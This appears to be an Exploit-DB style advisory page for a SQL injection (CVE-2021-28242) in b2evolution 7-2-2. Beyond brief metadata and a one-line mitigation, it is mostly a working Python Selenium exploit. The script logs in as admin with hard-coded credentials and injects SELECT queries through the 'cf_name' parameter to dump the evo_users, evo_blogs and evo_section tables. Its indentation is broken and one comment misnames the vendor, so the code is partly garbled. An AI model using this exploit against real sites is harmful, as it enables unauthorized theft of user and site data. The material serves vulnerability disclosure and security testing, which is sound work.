b2evolution 7-2-2 - 'cf_name' SQL Injection

vendor:

b2evolution

by:

@nu11secur1ty

8.8

CVSS

HIGH

SQL Injection

CWE

Product Name: b2evolution

Affected Version From: 7-2-2

Affected Version To: 7-2-2

Patch Exists: YES

Related CWE: CVE-2021-28242

CPE: a:b2evolution:b2evolution:7.2.2

Metasploit: N/A

Other Scripts: https://www.infosecmatter.com/nessus-plugin-library/?id=159656, https://www.infosecmatter.com/nessus-plugin-library/?id=159657, https://www.infosecmatter.com/nessus-plugin-library/?id=27514, https://www.infosecmatter.com/nessus-plugin-library/?id=67589, https://www.infosecmatter.com/nessus-plugin-library/?id=27071, https://www.infosecmatter.com/nessus-plugin-library/?id=28139

Platforms Tested: None

2021

b2evolution 7-2-2 – ‘cf_name’ SQL Injection

A vulnerability in b2evolution 7-2-2 allows an attacker to inject SQL commands into the 'cf_name' parameter and obtain sensitive database information from the 'evo_users' and 'evo_blogs' tables.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in SQL queries.

Source

Exploit-DB raw data:

# Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.06.2021
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242


from selenium import webdriver
import time


# Vendor: https://typo3.org/
website_link="
http://192.168.1.3/b2evolution/index.php?disp=login&redirect_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&return_to=%2Fb2evolution%2Findex.php%3Fblog%3D2&source=menu%20link"

# enter your login username
username="admin"

# enter your login password
password="FvsDq7fmHvWF"

#enter the element for username input field
element_for_username="x"

#enter the element for password input field
element_for_password="q"

#enter the element for submit button
element_for_submit="login_action[login]"


browser = webdriver.Chrome() #uncomment this line,for chrome users
#browser = webdriver.Safari() #for macOS users[for others use chrome vis
chromedriver]
#browser = webdriver.Firefox() #uncomment this line,for chrome users

browser.get((website_link))

try:
username_element = browser.find_element_by_name(element_for_username)
username_element.send_keys(username)
password_element  = browser.find_element_by_name(element_for_password)
password_element.send_keys(password)
signInButton = browser.find_element_by_name(element_for_submit)
signInButton.click()

# Exploit vulnerability MySQL obtain sensitive database information by
injecting SQL commands into the "cf_name" parameter
time.sleep(7)
# Receaving sensitive info for evo_users
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT+*+FROM+%60evo_users%60+ORDER+BY+%60evo_&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_blogs
browser.get(("
http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_blogs`%20ORDER%20BY%20`evo_blogs`.`blog_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

time.sleep(7)
# Receaving sensitive info for evo_section
browser.get(("http://192.168.1.3/b2evolution/evoadm.php?colselect_submit=&cf_name=SELECT%20*%20FROM%20`evo_section`%20ORDER%20BY%20`evo_section`.`sec_name`&cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))


time.sleep(7)
browser.close()


print("At the time, of the exploit, you had to see information about the
tables...\n")



except Exception:
#### This exception occurs if the element are not found in the webpage.
print("Sorry, your exploit is not working for some reasons...")